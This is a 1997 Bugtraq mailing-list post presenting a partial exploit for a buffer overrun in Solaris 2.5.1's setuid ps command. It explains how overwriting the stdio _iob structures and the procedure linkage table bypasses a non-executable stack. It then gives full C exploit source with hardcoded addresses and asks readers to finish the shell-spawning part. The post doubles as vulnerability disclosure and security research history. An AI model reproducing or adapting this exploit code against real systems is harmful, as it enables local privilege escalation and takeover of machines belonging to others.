Bugtraq mailing list archives
Finally, most of an exploit for Solaris 2.5.1's ps.
From: jzbiciak () DALDD SC TI COM (Joe Zbiciak)
Date: Sat, 17 May 1997 20:51:10 -0500
All, I finally managed to construct most of an exploit for Solaris' /usr/bin/ps. This exploit does *not* use the getopt()/argv[0] hole. Rather, it uses the buffer overrun I isolated a couple weeks ago. I've sent a copy of this to Casper Dik over at Sun as well; hopefully he's convinced now that a proper patch for Solaris 2.5.1 is a good idea. This partial exploit is unique in that it does *not* rely on an executable stack. Rather, it overwrites the buffer pointers in _iob[0] through _iob[2], thus inducing stdio streams to do the dirty work. The missing piece to this exploit lies in constructing a file which gettext() will understand (pointed to by NLSPATH), which contains a replacement for ps's usage information message. This replacement message then would contain the exploit code for forking a shell. The exploit source below succeeds in getting a non-suid copy of /usr/bin/ps to write its usage message overtop of the "procedure linkage table". The next dynamic library call to an unlinked procedure would initiate the exploit code itself. (In this case, it attempts to execute the ascii text of the usage message, which isn't all that useful.) (A bit of irony here: getopt() appears to write its message using write(), so it bypasses the _iob[2] buffer pointer entirely. Otherwise, I could stick the exploit code in argv[0].) An additional side benefit of this exploit's method is that it overwrites the entire _ctype[] buffer with flags which mark the entire character set as printable; this seems to coax a few routines into copying characters that they otherwise wouldn't. One drawback to this exploit is that it is *very* difficult to set the "environ" pointer correctly; it took me awhile to get that correct. I've commented the specific line which affects the environ pointer. Perhaps some of you Solaris junkies out there can flesh out the missing half to this exploit (the file "/tmp/foo" as currently referenced in the exploit source). On a different level, I think this exploit is fairly unique in its methodology; it points to the fact that overrunning static data can actually be more dangerous than overrunning automatic data on the stack, because setting the stack non-executable doesn't help you anymore. In this case, I hijacked the stdio file streams to do my bidding. Without further ado, the (partial) exploit source is included below. Enjoy! --Joe -- +--------------Joseph Zbiciak--------------+ |- - - - jzbiciak () daldd sc ti com - - - - -| | - - http://ee1.bradley.edu/~im14u2c/ - - | Not your average "Joe." |- - - - Texas Instruments, Dallas - - - -| +-------#include <std_disclaimer.h>--------+ --- cut here: ps_expl.c #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 632 #define EXTRA 256 int main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; /* ps will try to read this file to grok its 'usage information' */ char *envp[]={"NLSPATH=/tmp/foo",0}; u_long *long_p; u_char *char_p; int i; long_p = (u_long *) buf; for (i = 0; i < (96) / sizeof(u_long); i++) *long_p++ = 0x10101010; *long_p++=0xeffffcb0; /* environ pointer -- hard to get right. */ *long_p++=0xffffffff; /* This loop overwrites _ctype */ for (i = 0; i < (BUF_LENGTH-104) / sizeof(u_long); i++) *long_p++ = 0x10101010; /* Note: 0xef70ef70 is the head of the procedure linkage table */ /* build up _iob[0] (ref: struct FILE, /usr/include/stdio.h) */ *long_p++ = 0xFFFFFFFF; /* num chars in buffer */ *long_p++ = 0xef70ef70; /* pointer to chars in buffer */ *long_p++ = 0xef70ef70; /* pointer to buffer */ *long_p++ = 0x0501FFFF; /* unbuffered output on stream 1 */ /* build up _iob[1] */ *long_p++ = 0xFFFFFFFF; /* num chars in buffer */ *long_p++ = 0xef70ef70; /* pointer to chars in buffer */ *long_p++ = 0xef70ef70; /* pointer to buffer */ *long_p++ = 0x4201FFFF; /* line-buffered output on stream 1 */ /* build up _iob[2] */ *long_p++ = 0xFFFFFFFF; /* num chars in buffer */ *long_p++ = 0xef70ef70; /* pointer to chars in buffer */ *long_p++ = 0xef70ef70; /* pointer to buffer */ *long_p++ = 0x4202FFFF; /* line-buffered output on stream 2 */ *long_p =0; execle("/usr/bin/ps", "ps", "-z", "-u", buf, (char *) 0, envp); perror("execle failed"); return 0; }
Current thread:
- Reminder for irix ppl Nafees Bin Zafar (May 14)
- Re: Reminder for irix ppl Mike Neuman (May 15)
- Vulnerability in Elm-ME+ John Goerzen (May 15)
- Re: Vulnerability in Elm-ME+ Kari E. Hurtta (May 17)
- Finally, most of an exploit for Solaris 2.5.1's ps. Joe Zbiciak (May 17)
- Re: Finally, most of an exploit for Solaris 2.5.1's ps. Adam Morrison (May 19)
- Re: Finally, most of an exploit for Solaris 2.5.1's ps. Joe Zbiciak (May 19)
- Interim solution for ps Joe Zbiciak (May 19)
- Re: Interim solution for ps Steven Kirby (May 19)
- The rest of the exploit is here! Solaris 2.5.1 ps! Joe Zbiciak (May 18)